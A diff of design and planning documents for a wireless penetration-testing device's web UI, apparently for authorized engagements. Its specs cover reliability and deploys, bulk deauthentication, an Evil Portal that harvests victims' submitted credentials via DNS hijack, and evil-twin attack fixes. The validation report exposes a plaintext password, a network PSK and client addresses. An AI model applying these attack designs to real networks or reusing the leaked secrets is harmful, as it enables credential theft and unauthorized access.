- [ ] Commit — `feat(ui): reliability panel, profiles card, RF plan controls`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 9: API routes + atomic deploys + VERSION
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Modify: `server.py` ROUTER block (~line 6804), `scripts/deploy.sh`, create `VERSION`
|
||||||
|
- Test: `tests/test_reliability_api.py`
|
||||||
|
|
||||||
|
- [ ] **Routes:**
|
||||||
|
|
||||||
|
```python
|
||||||
|
ROUTER.add('GET', r'/api/rfplan', h_rfplan_get)
|
||||||
|
ROUTER.add('POST', r'/api/rfplan/role', h_rfplan_post)
|
||||||
|
ROUTER.add('GET', r'/api/reliability/profiles', h_profiles_get)
|
||||||
|
ROUTER.add('POST', r'/api/reliability/profile', h_profile_save)
|
||||||
|
ROUTER.add('POST', r'/api/reliability/restore', h_profile_restore)
|
||||||
|
```
|
||||||
|
|
||||||
|
Handlers thin-wrape `mk8_rfplan` / `mk8_profiles`; restore handler runs inside `mk8_gate.gated('restore_profile', ...)`. All auth-gated automatically by existing middleware.
|
||||||
|
|
||||||
|
- [ ] **VERSION file:** `1.4.0`
|
||||||
|
- [ ] **deploy.sh rework:**
|
||||||
|
1. Read `VERSION` → stamp build copies of `_hak5_manifest.json` (`version`), `payload.sh` header comment, and inject `SERVER_VERSION = 'X'` into staged `server.py` (build dir only, never source tree).
|
||||||
|
2. Remote flow: scp zip to `/tmp/mk8-stage/` → verify sha256 of uploaded zip matches local → stop service → extract to `/mmc/mk8/releases/<ts>/` → repoint `current` symlink atomically (`ln -sfn`) → install/update `/etc/init.d/mk8-guard` + copy `mk8-watchdog.sh` → start → poll `http://127.0.0.1:8080/api/api_ping` (via SSH-local curl) ≤60 s → compare served banner/version → on failure: `ln -sfn` back to previous release + start + exit 1.
|
||||||
|
3. Keep legacy overlay payload dir as symlink target for portal compatibility: `/root/payloads/user/.../pager-webui` → real dir stays, contains pointer script or bind; simplest: leave legacy install untouched and have `current` be canonical (init scripts already fall back to `/mmc/mk8/releases/current`).
|
||||||
|
- [ ] **Tests:** unit-test stamping function `stamp_version(build_dir)` extracted into `scripts/build_common.py` (new) so it is importable: asserts manifest/payload/server contain version; sha256 check tested with tmpfiles.
|
||||||
|
- [ ] **Commit** — `feat(deploy): atomic releases, VERSION single-source, post-deploy verification`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 10: On-device smoke suite + live verification
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `scripts/smoke.sh`
|
||||||
|
|
||||||
|
- [ ] **smoke.sh checks (each prints PASS/FAIL, non-destructive unless `--write` given):**
|
||||||
|
1. Service up: `curl :8080/api/api_ping`.
|
||||||
|
2. Guard installed: `[ -x /etc/init.d/mk8-guard ]` and enabled symlink exists.
|
||||||
|
3. Invariants: `uci get` each wanted key equals expected; pool size ≤ 20.
|
||||||
|
4. Journal writable + has boot event: tail events.log on device.
|
||||||
|
5. Monitors up: `ip link show wlan0mon/wlan1mon`.
|
||||||
|
6. (`--write`) Bad-value drill: set `pineapd.wlan1mon.bands='2,5'` → run `--reconcile` → expect `'5'`; set pool of 25 SSIDs → reconcile → cleared.
|
||||||
|
7. (`--write`) Role drill: set_role uplink to lab AP → expect assoc; set_role attack → expect monitors hopping again.
|
||||||
|
8. Deploy version match: `/api/health` version == `cat VERSION`.
|
||||||
|
- [ ] **Execution order:** full local unit suite (every `tests/test_*.py` individually) → deploy via `./scripts/deploy.sh --password '<pw>'` → reboot device via SSH → wait for SSH return → rerun smoke.sh → confirm guards survived boot → report.
|
||||||
|
- [ ] **Commit** — `test(smoke): on-device reliability suite` ; final tag `v1.4.0` after user confirmation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verification matrix (spec → tasks)
|
||||||
|
|
||||||
|
| Spec requirement | Task |
|
||||||
|
|---|---|
|
||||||
|
| Boot guard before S50 | 4 |
|
||||||
|
| Reconciler invariants (5 crash sources) | 3 |
|
||||||
|
| Profiles + lastknown-good | 2 |
|
||||||
|
| Knock-off rollback watchdog (local liveness) | 6 |
|
||||||
|
| RF roles, uplink→phy1, hop pause/resume | 7 |
|
||||||
|
| Supervisor sampling + hysteresis + alerts | 5 |
|
||||||
|
| Event journal on /mmc + boot detection | 1, 5 |
|
||||||
|
| Atomic deploy + version single-source | 9 |
|
||||||
|
| UI health/events/profiles/RF | 8, 9 |
|
||||||
|
| Unit + smoke tests | all, 10 |
|
||||||
@@ -0,0 +1,202 @@
|
|||||||
|
# Mark VIII Reliability Core + Integrated Supervisor — Design
|
||||||
|
|
||||||
|
Date: 2026-08-22
|
||||||
|
Branch: `feature/reliability`
|
||||||
|
Status: Approved by user (design sections 1–7)
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Mark VIII works, but the device does not run reliably or consistently as
|
||||||
|
expected. Evidence from 79 prior opencode sessions, the repository history,
|
||||||
|
the factory firmware image, and the live device:
|
||||||
|
|
||||||
|
1. **Factory defaults are themselves unstable.** The stock firmware image
|
||||||
|
(`pineapplepager-firmware-1.1.0-signed.bin`, OpenWrt 24.10.1,
|
||||||
|
ramips/mt76x8, kernel 6.6.86) ships `/etc/config/pineapd` with every
|
||||||
|
verified crash source enabled: `wlan1mon` bands `'2,5'` fast-hop,
|
||||||
|
`wlan2mon` enabled+hop on a nonexistent interface, SSID pool without an
|
||||||
|
explicit disable, pool target `broadcast`. Any reset, upgrade, or stock-UI
|
||||||
|
reconvergence reintroduces pineapd SIGSEGV crash loops.
|
||||||
|
2. **Fixes revert.** Crash-guard UCI values applied at runtime were observed
|
||||||
|
reverting to unsafe defaults after service restarts and deploys.
|
||||||
|
3. **Knock-offs.** Enabling client-mode uplink / `wifi reload` mid-operation
|
||||||
|
repeatedly killed management reachability (SSH/HTTP), forcing power
|
||||||
|
cycles and losing engagement state.
|
||||||
|
4. **2.4 GHz blindness.** The client uplink STA on phy0 pins the radio's
|
||||||
|
channel; wlan0mon cannot hop, so 2.4 GHz recon goes quiet while appearing
|
||||||
|
"green" in older UI logic.
|
||||||
|
5. **Reboot fragility.** After reboots, stale configs and refilled pools
|
||||||
|
produced broken states until v1.3.x added startup checks; ordering is
|
||||||
|
still wrong: Mark VIII starts at S99, *after* pineapd (S50).
|
||||||
|
6. **Deploy fragility.** Non-atomic deploys, version confusion across three
|
||||||
|
files, portal refresh failures, and one secret-leak incident.
|
||||||
|
|
||||||
|
User decisions: payload-only hardening (no firmware flashing); uplink moves
|
||||||
|
to phy1; Reliability Core plus an integrated lightweight supervisor;
|
||||||
|
experimental work on a branch.
|
||||||
|
|
||||||
|
## Goals
|
||||||
|
|
||||||
|
A device that: survives reboot/firmware-upgrade with safe PineAP state;
|
||||||
|
never loses management reachability from a UI-initiated operation; keeps
|
||||||
|
2.4 GHz operations fully available during engagements; reports radio truth;
|
||||||
|
and self-heals known failure modes without human intervention.
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
Firmware repacking/flashing (parked as future experiment), new standalone
|
||||||
|
processes/daemons, external databases, metrics graphing beyond counters,
|
||||||
|
`:1471` takeover.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
All changes live inside the existing payload. Three layers, one process:
|
||||||
|
|
||||||
|
- **Guard** — `mk8-guard` init script installed by `payload.sh` at START=49
|
||||||
|
(before the S50 pineapple stack that launches `pineapd`): enforces the
|
||||||
|
known-good UCI profile before crash-prone daemons start. Idempotent;
|
||||||
|
commits only differences; logs to syslog and the event journal once Mark
|
||||||
|
VIII is up.
|
||||||
|
- **Core** — backend modules in `server.py` (pure stdlib, python3-light
|
||||||
|
compatible): config reconciler, profile store, RF role manager,
|
||||||
|
preflight/rollback gates.
|
||||||
|
- **Supervisor** — passive sampler thread inside `server.py`, capped JSONL
|
||||||
|
event journal, UI health panel.
|
||||||
|
|
||||||
|
Persistent state lives in `/mmc/mk8/` (ext4, 3.3 GB free) which survives
|
||||||
|
reboots *and* firmware upgrades (overlay wipe):
|
||||||
|
|
||||||
|
```
|
||||||
|
/mmc/mk8/
|
||||||
|
profiles/<name>/{pineapd,wireless,network}.uci # named snapshots
|
||||||
|
releases/{current,previous}/ # atomic deploy dirs
|
||||||
|
events.log # rotated JSONL journal
|
||||||
|
boot.marker # boot counter / clean-shutdown flag
|
||||||
|
```
|
||||||
|
|
||||||
|
## Components
|
||||||
|
|
||||||
|
### 1. Boot-time reconciler
|
||||||
|
|
||||||
|
Runs on every service start (and `mk8-guard` runs it early at boot).
|
||||||
|
Compares live UCI against the built-in known-good profile; commits only
|
||||||
|
differences; logs each action to the journal.
|
||||||
|
|
||||||
|
Enforced invariants (the five verified crash sources plus v1.3.x rules):
|
||||||
|
- `pineapd.@ssidpool[0].disable='1'` and empty `ssid` list
|
||||||
|
- `pineapd.wlan2mon.disable='1'`, `hop='0'`
|
||||||
|
- `pineapd.wlan1mon.bands='5'`
|
||||||
|
- `pineapd.@pineapd[0].autossidpool='0'`
|
||||||
|
- `wireless.dummy_radio0` parked per v1.3.1 semantics (disabled unless a
|
||||||
|
scan explicitly borrows it)
|
||||||
|
- monitor interfaces present and administratively up
|
||||||
|
|
||||||
|
The reconciler never touches AP sections owned by the user (evil twins),
|
||||||
|
client sections, or network/firewall config.
|
||||||
|
|
||||||
|
### 2. Profiles + knock-off protection
|
||||||
|
|
||||||
|
- **Profile store**: `uci export` snapshots under `/mmc/mk8/profiles/`.
|
||||||
|
Save/restore from Settings UI; restore = write files + `wifi reload` +
|
||||||
|
guard re-run. One profile is auto-captured as `lastknown-good` whenever
|
||||||
|
all health checks pass for ≥5 minutes.
|
||||||
|
- **Preflight gate** wraps every risky operation: client-mode connect or
|
||||||
|
disconnect, `wifi reload`, any AP enable/disable, enterprise engine
|
||||||
|
start/stop, any UCI commit touching `wireless`/`network`. Sequence:
|
||||||
|
auto-snapshot `pre-<op>-<ts>` → apply → spawn detached watchdog.
|
||||||
|
- **Rollback watchdog**: a small POSIX sh script started via `setsid` so it
|
||||||
|
survives SSH/UI death. It probes **local** liveness only — HTTP GET to
|
||||||
|
`127.0.0.1:8080/api/health` and presence/state of the management
|
||||||
|
interface — deliberately ignoring workstation-side reachability, which
|
||||||
|
historically caused false assumptions. If local probes fail on N
|
||||||
|
consecutive checks (default 6 × 5 s), it restores the pre-op snapshot,
|
||||||
|
runs `wifi reload`, writes a `ROLLBACK` journal entry, and exits. Success
|
||||||
|
path: after M consecutive healthy checks it promotes the snapshot to
|
||||||
|
`lastknown-good` and exits.
|
||||||
|
|
||||||
|
### 3. RF role manager (uplink on phy1)
|
||||||
|
|
||||||
|
Declarative, mutually exclusive radio plan enforced server-side:
|
||||||
|
- **phy0 = OPS, always**: monitor hop + PineAP + 2.4 GHz evil twins. Never
|
||||||
|
carries the uplink again.
|
||||||
|
- **phy1 ∈ {attack, uplink, idle}**: role switch API + UI control.
|
||||||
|
|
||||||
|
`set-role(uplink)`: snapshot config → create/enable a `wifi-iface` STA
|
||||||
|
section on `radio1` → pause `wlan1mon` hop (reusing the existing pause/
|
||||||
|
resume mechanism used by radio1 APs) → verify association truthfully
|
||||||
|
(iw + daemon state). Failure at any step → rollback snapshot + event.
|
||||||
|
`set-role(attack)`: STA disabled → monitor/AP stack restored.
|
||||||
|
|
||||||
|
Honest tradeoff surfaced in UI text: while the phy1 uplink associates, phy1
|
||||||
|
is pinned to the uplink channel — 5 GHz recon is limited to that channel;
|
||||||
|
2.4 GHz remains fully hoppable. The dashboard RF chip shows
|
||||||
|
`PHY0: OPS · PHY1: UPLINK ch36` style state.
|
||||||
|
|
||||||
|
### 4. Supervisor
|
||||||
|
|
||||||
|
A sampler thread inside the existing backend process:
|
||||||
|
- Every 30 s, passive reads only (`pidof`, `iw dev`, `/proc/meminfo`,
|
||||||
|
interface flags) — no pineapd socket pings (crash source 5).
|
||||||
|
- SIGSEGV trend via throttled `logread | grep -c` scan every 5 min.
|
||||||
|
- Hysteresis actions: pineapd absent for 2 consecutive samples →
|
||||||
|
`/etc/init.d/pineapd restart` + guard verify; monitor dropped → re-raise
|
||||||
|
(`ip link set <iface> up`); memory >85% sustained 5 samples → alert only
|
||||||
|
(no aggressive action).
|
||||||
|
- Event journal: JSONL entries `{ts, kind, sev, msg, meta}` rotated at
|
||||||
|
5 MB × 4 files.
|
||||||
|
- Unexpected-reboot detection via `/mmc/mk8/boot.marker` (clean shutdown
|
||||||
|
clears it; boot increments counter when present).
|
||||||
|
- UI: Dashboard health panel gains recent-events feed + reliability
|
||||||
|
counters (boots, unexpected boots, rollbacks, restarts, guard fixes);
|
||||||
|
`/api/health` extended accordingly.
|
||||||
|
|
||||||
|
### 5. Deploy hardening
|
||||||
|
|
||||||
|
- Single-source version: top-level `VERSION` file consumed by build step to
|
||||||
|
stamp `_hak5_manifest.json`, `payload.sh`, and `server.py` banner; no more
|
||||||
|
hand-synced numbers.
|
||||||
|
- Atomic deploys in `scripts/deploy.sh`: stage upload to `/tmp/mk8-stage`
|
||||||
|
→ sha256 manifest verification → stop service → swap into
|
||||||
|
`/mmc/mk8/releases/current` (previous kept) → start → post-deploy
|
||||||
|
self-check (version match + local health probe). Failed self-check →
|
||||||
|
previous release restored automatically.
|
||||||
|
- Payload install continues to work from overlay paths for compatibility;
|
||||||
|
release dir on `/mmc` is symlinked as the service target.
|
||||||
|
|
||||||
|
### 6. Testing & verification
|
||||||
|
|
||||||
|
Unit tests (existing pattern: stdlib unittest, mocks, one module per
|
||||||
|
process): reconciler diff-only idempotence; profile save/restore roundtrip;
|
||||||
|
role exclusivity + hop pause/resume; watchdog decision table (probe
|
||||||
|
outcomes × thresholds); deploy staging flow with mocked SSH; supervisor
|
||||||
|
sampling parsers and hysteresis.
|
||||||
|
|
||||||
|
New `scripts/smoke.sh` (on-device, read-only unless explicitly flagged):
|
||||||
|
boot persistence of guards, guard enforcement after writing factory-default
|
||||||
|
bad values (then restoring), role-switch cycle uplink↔attack, rollback
|
||||||
|
watchdog trigger against a deliberately stopped port (safe variant), deploy
|
||||||
|
version match, journal integrity.
|
||||||
|
|
||||||
|
## Failure modes & handling
|
||||||
|
|
||||||
|
| Failure | Handling |
|
||||||
|
|---|---|
|
||||||
|
| Factory-default bad UCI at boot | Guard fixes before pineapd starts |
|
||||||
|
| pineapd crash-loop despite guards | procd respawn + supervisor restart w/ backoff + alert |
|
||||||
|
| Risky op kills management plane | Local-liveness rollback watchdog restores snapshot |
|
||||||
|
| Deploy uploads corrupt payload | sha256 gate before swap |
|
||||||
|
| New payload fails health check | Auto-rollback to previous release |
|
||||||
|
| Overlay wiped by firmware upgrade | Reinstall payload; profiles/journal/history survive on /mmc |
|
||||||
|
| Memory exhaustion | Sustained-watermark alerts; no destructive automation |
|
||||||
|
|
||||||
|
## Security
|
||||||
|
|
||||||
|
No new network exposure; all new endpoints behind existing auth; watchdog
|
||||||
|
and guard scripts are root-owned, written atomically; no credentials stored
|
||||||
|
in repo or journal metadata (SSIDs/BSSIDs only).
|
||||||
|
|
||||||
|
## Out-of-scope notes
|
||||||
|
|
||||||
|
Custom firmware remains a documented future experiment (extraction recipe
|
||||||
|
captured in session history: uImage kernel @0, squashfs-xz rootfs
|
||||||
|
@0x2615dc; bootloader signature behavior unverified).
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
# Mark VIII — Deauth UX, Evil Portal, Monitor Capture Fixes
|
||||||
|
|
||||||
|
Date: 2026-08-23
|
||||||
|
Status: approved (user confirmed design in session)
|
||||||
|
|
||||||
|
## Goals
|
||||||
|
|
||||||
|
1. Make deauth obvious: "Deauth All Clients" from Recon's AP focus sidebar, "Deauth All"
|
||||||
|
on the Deauth Targeting card — both gated by an engagement-scope confirmation.
|
||||||
|
2. New top-level **Evil Portal** tab compatible with Hak5 EvilPortalNano portals
|
||||||
|
(kleo/evilportals layout): import zips, serve pages to victims, capture credentials,
|
||||||
|
DNS-hijack delivery.
|
||||||
|
3. OpenAP gains an "Evil Portal" card: dropdown of imported templates, greyed out when
|
||||||
|
none exist; activating an OpenAP with a template selected starts the portal.
|
||||||
|
4. Fix Monitor Capture never appearing to work.
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
- No PHP interpreter; the backend shims only the trivial PHP patterns stock portals use.
|
||||||
|
- No TLS interception (HTTPS requests are not redirected).
|
||||||
|
- `.enable`/`.disable` portal scripts are stored but **not executed** (divergence from
|
||||||
|
stock EvilPortalNano, documented here deliberately).
|
||||||
|
|
||||||
|
## 1. Bulk deauth endpoint
|
||||||
|
|
||||||
|
`POST /api/attacks/deauth/bulk` body `{targets: [{bssid, client, channel?}, ...]}`
|
||||||
|
(max 32). Shared helper `_deauth_one(bssid, client, channel)` extracted from
|
||||||
|
`h_attacks_deauth`; per-target results returned `{results: [...], sent, failed}`.
|
||||||
|
Uses the existing band→inject-iface logic and `PINEAPPLE_DEAUTH_CLIENT`.
|
||||||
|
|
||||||
|
### Recon sidebar
|
||||||
|
|
||||||
|
In `renderFocus()` (www/js/views.js), when the focused AP has confirmed clients, add a
|
||||||
|
danger button **"Deauth All Clients"**. Clicking shows
|
||||||
|
`confirm("Deauthenticate N client(s) of <SSID>? Confirm this target is IN SCOPE for your engagement.")`,
|
||||||
|
then posts one bulk call.
|
||||||
|
|
||||||
|
### Deauth Targeting card
|
||||||
|
|
||||||
|
`deauthPanel()` gains a danger **"Deauth All"** button that bulk-deauths every device in
|
||||||
|
the current result list against the selected AP, behind the same scope confirmation.
|
||||||
|
|
||||||
|
## 2. Evil Portal
|
||||||
|
|
||||||
|
### Storage & import
|
||||||
|
|
||||||
|
- Root: `/mmc/mk8/portals/<name>/` (`[A-Za-z0-9._-]{1,64}` names, mk8_profiles rules).
|
||||||
|
- `POST /api/portals/import` `{data: <base64 zip>}` (≤10 MB decoded). Zip-slip guarded
|
||||||
|
(reject absolute paths and `..`). If every entry shares a single top-level directory,
|
||||||
|
that directory becomes the portal root. `index.php` must exist at the root.
|
||||||
|
- Other endpoints: `GET /api/portals`, `DELETE /api/portals/{name}`,
|
||||||
|
`POST /api/portals/{name}/activate|deactivate`, `GET /api/portals/captures`,
|
||||||
|
`DELETE /api/portals/captures`, `GET /api/portals/{name}/logs` (Download),
|
||||||
|
`GET /api/portals/{name}/download` (zip of the portal folder).
|
||||||
|
|
||||||
|
### Serving engine (port 80)
|
||||||
|
|
||||||
|
Second listener thread in server.py, own connection handler (no auth, no same-origin —
|
||||||
|
victims are unauthenticated). Admin UI on :8080 untouched.
|
||||||
|
|
||||||
|
- **GET anything** → active portal:
|
||||||
|
- Path resolves inside the portal dir (`_safe_join`); missing paths fall back to
|
||||||
|
`index.php`; asset files served raw with the standard mime map.
|
||||||
|
- `index.php` rendered through the PHP shim.
|
||||||
|
- **PHP shim**: replaces `getClientMac($_SERVER['REMOTE_ADDR'])` /
|
||||||
|
`getClientHostName(...)` with values resolved from DHCP leases for the requester IP,
|
||||||
|
`$_SERVER['REMOTE_ADDR']` with the requester IP, `$destination` with the request URL;
|
||||||
|
strips all other `<?php ... ?>` / `<?= ... ?>` blocks.
|
||||||
|
- **POST anything** → credential capture: parse urlencoded fields, enrich with client
|
||||||
|
ip/mac/hostname, append:
|
||||||
|
- `<portal>/.logs` in the exact MyPortal.php text format (stock-tool compatible), and
|
||||||
|
- `/mmc/mk8/portals/captures.jsonl` (one JSON object per line) for the UI.
|
||||||
|
Response: simple authorization-success HTML page.
|
||||||
|
|
||||||
|
### Delivery: DNS hijack
|
||||||
|
|
||||||
|
Activation writes `dhcp.@dnsmasq[0].address='/#/<lan-ip>'` (UCI), commits, restarts
|
||||||
|
dnsmasq; deactivation deletes the option and restarts. LAN IP discovered via
|
||||||
|
`ip -4 addr show br-lan` (env-overridable `PAGER_LAN_IFACE`, fallback 172.16.52.1).
|
||||||
|
Active portal name persists at `/mmc/mk8/portals/.active`; on service start the hijack
|
||||||
|
is re-applied best-effort if a portal was left active.
|
||||||
|
|
||||||
|
### Tab UI
|
||||||
|
|
||||||
|
Rail entry + route `#/evilportal` + `views.evilportal`: Active Portal status card,
|
||||||
|
Templates card (list with Activate/Stop/Delete/Download, Import via zip file input →
|
||||||
|
base64), Captured Credentials table (time, portal, fields) with Clear and Download.
|
||||||
|
|
||||||
|
## 3. OpenAP Evil Portal card
|
||||||
|
|
||||||
|
`attackLauncher('open', {..., portal: true})`: card with a template `<select>`
|
||||||
|
(populated from `GET /api/portals`), disabled with hint text when no templates exist.
|
||||||
|
Deploy body carries `portal: <name>`; `h_attacks_deploy` activates it after a successful
|
||||||
|
open-AP deploy; `h_attacks_stop` for kind `open` deactivates any active portal. Status
|
||||||
|
card shows the active binding.
|
||||||
|
|
||||||
|
## 4. Monitor Capture fix
|
||||||
|
|
||||||
|
Root cause: `views.js:1314` polls `/api/attacks/capture {action:'status'}` without
|
||||||
|
`iface`; the backend defaults to `wlan0mon`, so a live `wlan1mon` capture flips back to
|
||||||
|
"Not capturing" within one 5 s poll.
|
||||||
|
|
||||||
|
- Backend `status` with no `iface`: evaluates both pidfiles and reports whichever
|
||||||
|
capture is actually running (else the default). Start failures now `mkdir -p` the pcap
|
||||||
|
dir first and tee tcpdump stderr to `/tmp/mk8_capture_<iface>.log`, surfaced in the
|
||||||
|
502 detail.
|
||||||
|
- Frontend: when a status/start response reports a running capture, adopt its iface for
|
||||||
|
subsequent Stop clicks.
|
||||||
|
|
||||||
|
## Testing
|
||||||
|
|
||||||
|
- New `tests/test_portals.py`: import validation (bad name, zip-slip, oversize, missing
|
||||||
|
index.php, nested top-dir flattening), PHP shim substitutions, capture log formats.
|
||||||
|
- Extend `tests/test_attacks.py`: bulk deauth validation/looping (mocked device_run),
|
||||||
|
capture status dual-iface resolution.
|
||||||
|
- Existing suite must stay green (run per-file as documented in README).
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
# PineAP Dashboard: Remove Mode Card, Move RF Role Card
|
||||||
|
|
||||||
|
Date: 2026-08-23
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Remove the "Passive / Active / Advanced" mode card from the PineAP dashboard and move the "RF Role (radio1)" card into its position, cleaning up all supporting code that becomes dead as a result.
|
||||||
|
|
||||||
|
## Layout
|
||||||
|
|
||||||
|
Current PineAP dashboard rows:
|
||||||
|
|
||||||
|
1. `[Passive/Active/Advanced, Quick Settings]`
|
||||||
|
2. `[RF Role (radio1)]`
|
||||||
|
3. `[Karma, Open Network, Evil WPA]`
|
||||||
|
|
||||||
|
New layout:
|
||||||
|
|
||||||
|
1. `[RF Role (radio1), Quick Settings]`
|
||||||
|
2. `[Karma, Open Network, Evil WPA]`
|
||||||
|
|
||||||
|
## Changes
|
||||||
|
|
||||||
|
### `payload/user/remote_access/pager-webui/www/js/views.js` (`views.pineap`)
|
||||||
|
|
||||||
|
- Remove mode-card UI: `mode` badge, `segBtns`/`modeBar`, `modeInfo`, `saveModeBtn`, `modeCard`.
|
||||||
|
- Append `rfCard` to `modeRow` (first position, before Quick Settings); delete `rfRow`.
|
||||||
|
- Remove functions `selectMode()`, `saveMode()`, `renderModeInfo()`.
|
||||||
|
- Remove state `selectedMode`, `modeDirty`, `modePending`.
|
||||||
|
- Remove `PINEAP_SESSION.mode` and the `'advanced'` write in `rememberAdvanced()` (Quick Settings toggles keep working).
|
||||||
|
- In `load()`: drop the `GET /api/pineap/mode` call, `PINEAP_SESSION.mode` tracking, and the badge-class update on the removed `mode` element.
|
||||||
|
|
||||||
|
### `payload/user/remote_access/pager-webui/www/css/app.css`
|
||||||
|
|
||||||
|
- Remove mode-card-only rules: `.seg`, `.seg-btn`, `.seg-btn + .seg-btn`, `.seg-btn.active`, `.seg-btn:disabled`, `.pineap-card-button-group .seg`, `.pineap-card-button-group .seg-btn`, `.pineap-mode-save`, `.pineap-mode-features`.
|
||||||
|
- Keep `.pineap-card-title-flex` (used by other views).
|
||||||
|
|
||||||
|
## Untouched
|
||||||
|
|
||||||
|
- Backend `/api/pineap/mode` endpoint (still exercised by `tests/test_pineap_modes.py`).
|
||||||
|
- RF role logic, all other views, `build/` (regenerated by `scripts/deploy.sh`).
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
- `node --check` on `views.js`.
|
||||||
|
- Manual browser check of the PineAP dashboard layout.
|
||||||
@@ -0,0 +1,457 @@
|
|||||||
|
# Mark-VIII PineAP Attack Validation — 2026-08-23
|
||||||
|
|
||||||
|
> ## Fix round 2026-08-23 (post-validation) — status update
|
||||||
|
>
|
||||||
|
> All defects below were fixed and re-validated live on the same hardware.
|
||||||
|
>
|
||||||
|
> - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites.
|
||||||
|
> Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect
|
||||||
|
> confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after
|
||||||
|
> filter clear).
|
||||||
|
> - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`.
|
||||||
|
> Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help,
|
||||||
|
> and clients associate to twins unaided.
|
||||||
|
> - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes:
|
||||||
|
> 1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*`
|
||||||
|
> identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity.
|
||||||
|
> The fix uses quoted empty prefix `""* <methods> "<pw>" [2]`, which prefix-matches any
|
||||||
|
> inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then
|
||||||
|
> live on the Pager.
|
||||||
|
> 2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP
|
||||||
|
> to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after
|
||||||
|
> the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner
|
||||||
|
> MSCHAPv2/GTC/PAP itself); stop restores `1`.
|
||||||
|
> Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full
|
||||||
|
> `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel.
|
||||||
|
> - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on
|
||||||
|
> 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2
|
||||||
|
> hexdumps anywhere), `-f <log>` is silently ignored (fd1→/dev/null), and passthrough mode
|
||||||
|
> cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds
|
||||||
|
> `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext
|
||||||
|
> via the capture API. This limitation is documented in code comments.
|
||||||
|
> - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all.
|
||||||
|
> - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa`
|
||||||
|
> so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`);
|
||||||
|
> cleared again on stop.
|
||||||
|
> - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the
|
||||||
|
> `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared.
|
||||||
|
> Live deploy verified `true` first try.
|
||||||
|
> - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`.
|
||||||
|
> - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers,
|
||||||
|
> cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie
|
||||||
|
> `running:true`. Verified live by killing tcpdump under an active capture.
|
||||||
|
> - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global
|
||||||
|
> `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage:
|
||||||
|
> deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass`
|
||||||
|
> set/restore, capture stale detection, radio0 set_ap retry.
|
||||||
|
> - New firmware quirks discovered while fixing (document here for future rounds):
|
||||||
|
> - `PINEAPPLE_DEVICE_FILTER_DELETE deny <mac>` returns rc=0 but does NOT remove the entry;
|
||||||
|
> only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear.
|
||||||
|
> - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
|
||||||
|
> - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state
|
||||||
|
> (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`,
|
||||||
|
hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client
|
||||||
|
(`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`). Both reachable with password "Bryce9205"
|
||||||
|
|
||||||
|
**Purpose of this document:** hand off every validated behavior and every defect to a fixing model.
|
||||||
|
Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below
|
||||||
|
was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the
|
||||||
|
pineapple and `/tmp/znet*.hc22000` on Kali.
|
||||||
|
|
||||||
|
**In-scope networks (authorized):**
|
||||||
|
- `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz
|
||||||
|
BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
|
||||||
|
